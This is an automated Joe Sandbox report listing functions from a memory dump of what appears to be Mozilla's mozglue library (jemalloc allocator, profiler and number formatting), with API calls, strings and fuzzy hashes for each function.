Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qZl$~qZl
API String ID: 3693777188-2831360158
Opcode ID: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction ID: cea532c1ebe75ec635563a2b362f4b4f0176a330ab7091d48d541b744f5a5c13
Opcode Fuzzy Hash: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction Fuzzy Hash: E8B31871E04219CFCB14CFA8C890A9DB7B2FF89314F2582A9D459AB745D730AD86CF94

Function 6C5BFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4
: (malloc) Error in VirtualFree(), xrefs: 6C5C0D67, 6C5C0D7B, 6C5C0DAC
<jemalloc>, xrefs: 6C5C0D62, 6C5C0D76, 6C5C0DA7

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction ID: bd5e4adfcc1269b3fa71f80519889a20ebebb11ddeefda2e8d7b17063dc2815e
Opcode Fuzzy Hash: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction Fuzzy Hash: 32C2AB71B057418FD714CF69C880716BBE1AFC5328F28CA6DE4AA8B795D775E801CB82

Function 6C5E3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C607770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>^l,?,?,?,6C5E3E7D,?,?), ref: 6C60777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C5E3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E3F5C
VerSetConditionMask.NTDLL ref: 6C5E3F8D
VerSetConditionMask.NTDLL ref: 6C5E3F99
VerSetConditionMask.NTDLL ref: 6C5E3FA0
VerSetConditionMask.NTDLL ref: 6C5E3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E3FB4

Strings

nvinit.dll, xrefs: 6C5E4479
C>^l, xrefs: 6C5E3E93
nvd3d9wrap.dll, xrefs: 6C5E4466

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>^l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-824577501
Opcode ID: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction ID: 830f487e22a20854b4bdcf881081af94df7f89769472e088442cdca2fcdb7ae2
Opcode Fuzzy Hash: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction Fuzzy Hash: BF522271614B488FD711DF74CCD0AAB7BE9AF84208F44492DD5A29BB82DB74F909CB60

Function 6C5BFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_CRASH(), xrefs: 6C5C0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4, 6C5C1A10

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction ID: b7722316f7f8b11ac73ac9901a6f709d107469c9796cf0c6c0e83585abe21524
Opcode Fuzzy Hash: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction Fuzzy Hash: 56B2BC717057418FD714CF69C990716BBE1BF85328F28CA6DE86A8B795C774E840CB82

Function 6C5F5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C5F5AC8, 6C5F5CBB
data, xrefs: 6C5F6131
name, xrefs: 6C5F5E79, 6C5F5E8F
schema, xrefs: 6C5F606D
expected a Count entry, xrefs: 6C5F5AC3
expected a Time entry, xrefs: 6C5F5CB6

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction ID: 1537a568d05ee02c999aa3b86a9febbb8827f14098fd70b351eb7e192b891d6f
Opcode Fuzzy Hash: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction Fuzzy Hash: 90923C716083418FD728CF18C89075ABBE1BFC5308F55891DE5AA9B751DB30E94ACF92

Function 6C5F2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5F2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5F2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5F378D
set , xrefs: 6C5F36EC
get , xrefs: 6C5F3205

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction ID: 1dd297eb1b2b79828b1d152e5bb2653aefe833080a7bc1f2fb80730835ded342
Opcode Fuzzy Hash: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction Fuzzy Hash: 62324EB02083818FD769CF24C8906AEB7E2AFC9218F548C1DE5A987751DB30D94ACF57

Function 6C5E7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C5E7E88
name, xrefs: 6C5E7ECF, 6C5E8335
data, xrefs: 6C5E8280, 6C5E83E1
schema, xrefs: 6C5E81E3, 6C5E8311
vbl, xrefs: 6C5E8207

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vbl
API String ID: 3412268980-3299618421
Opcode ID: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction ID: a1b437141be5dac922db1edcd1149e5d75ca01fef05616cee452cba8cc63c2c9
Opcode Fuzzy Hash: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction Fuzzy Hash: 4FE19FB1A043408FC710CF69885165BFBE9BFD9314F14492DE899E7B80DBB5DC098B92

Function 6C5C5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5C7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5C730D
MOZ_CRASH(), xrefs: 6C5C7BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C7BCD, 6C5C7C1F, 6C5C7C34, 6C5C80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5C72E3
ew`l, xrefs: 6C5C5E9C, 6C5C5F22, 6C5C61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5C72F8

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew`l
API String ID: 2613674957-3284534115
Opcode ID: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction ID: 93e0d18dc5b735f1175636cdc2c193fcc3228e1f689290c03a4c01b83a1b6579
Opcode Fuzzy Hash: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction Fuzzy Hash: F2337D717057018FC304CF69C990625BBE2FF85368F29C6ADE9698BBA5D731E841CB42

Function 6C5CD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD6A6
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD712
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C5CD82C
<jemalloc>, xrefs: 6C5CD827

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction ID: b70a81f91e4c0ef53031cb780c280b10301117b476674437399d1e57aa31c196
Opcode Fuzzy Hash: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction Fuzzy Hash: BF91DE71B447018FD714CFB9C89076AB7E1EB89314F15893EE49AC7A81D738E845CB86

Function 6C604EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C604EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604F2E
moz_xmalloc.MOZGLUE ref: 6C604F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C604F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052E6
Sleep.KERNEL32(00000010), ref: 6C605481
free.MOZGLUE(?), ref: 6C605498

Strings

(, xrefs: 6C605250

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction ID: 39158aa9930defee7f6f2410cd12d6e3ea26330b2d5a9aa2321b8e55e89a3b3c
Opcode Fuzzy Hash: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction Fuzzy Hash: A0F1C471A18B508FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C5C9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5C9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5C9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5C9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5CA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CA8B1, 6C5CA8D4, 6C5CA8EF

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction ID: 1fa50fc0e4c5f8589d2fcea6b4355c3d6b18af737ba4e5161772e2fe09930924
Opcode Fuzzy Hash: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction Fuzzy Hash: 39727A72A056118FD704CF68C980215FFE1BF89328F29C76DE8699B791D375E842CB82

Function 6C5F2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5F2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5F2C61

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F2E2D

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

Strings

(root), xrefs: 6C5F354F
ProfileBuffer parse error: %s, xrefs: 6C5F2E3B
expected a Time entry, xrefs: 6C5F2E36

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction ID: 0505b8a4d4f82c47b004136eb30c6ac387f42898893907f90401523c696e4f8a
Opcode Fuzzy Hash: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction Fuzzy Hash: 0591C0B06087808FD728DF28C89069EB7E1AFC9358F50491DE9AA87751DB30D94ACF57

Function 6C609E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C609F3D
__aulldiv.LIBCMT ref: 6C609F77
__aullrem.LIBCMT ref: 6C609F8C
__aulldiv.LIBCMT ref: 6C60A023

Strings

NaN, xrefs: 6C609EAB
-Infinity, xrefs: 6C609E60, 6C609E7B

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction ID: 3903b1d65cf20848c713342c61e83fb4e205740b53b16c797599721de9d6bb7c
Opcode Fuzzy Hash: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction Fuzzy Hash: 29C1AD71B04318CBDB18CFA8C9907DEB7B6AF84348F144529D406BBB82DB71AD49CB95

Function 6C5AD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C5ADE7F
0, xrefs: 6C5ADC7F
8, xrefs: 6C5ADC08
0, xrefs: 6C5AD852
, xrefs: 6C5ADA88
@, xrefs: 6C5ADAF6
1, xrefs: 6C5ADBDD
-, xrefs: 6C5AD7DD

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction ID: ce249c2d85c15ab09f3eef36ed71f8285139c425f59ba3cebf0aee1566210d87
Opcode Fuzzy Hash: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction Fuzzy Hash: F162CF7150C3458FD705EE9AC89075EBBF2AF8A318F184A0DECE54BA51D335D986CB82

Function 6C61545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C618A4B

Strings

~qZl, xrefs: 6C619269, 6C61921F, 6C615740, 6C619459, 6C6156C7, 6C615703, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f3e47a8d9a74a4474d5a803e9fdfebcbba9b27d2980a759e6adc3b010f372e4b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D772E0821A8FDB14CF6CCC917E9B7B2EF85314F1902A9C549DBB91D730A985CB94

Function 6C61542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C61925C

Strings

~qZl, xrefs: 6C619269, 6C61921F, 6C615740, 6C619459, 6C6156C7, 6C615703, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
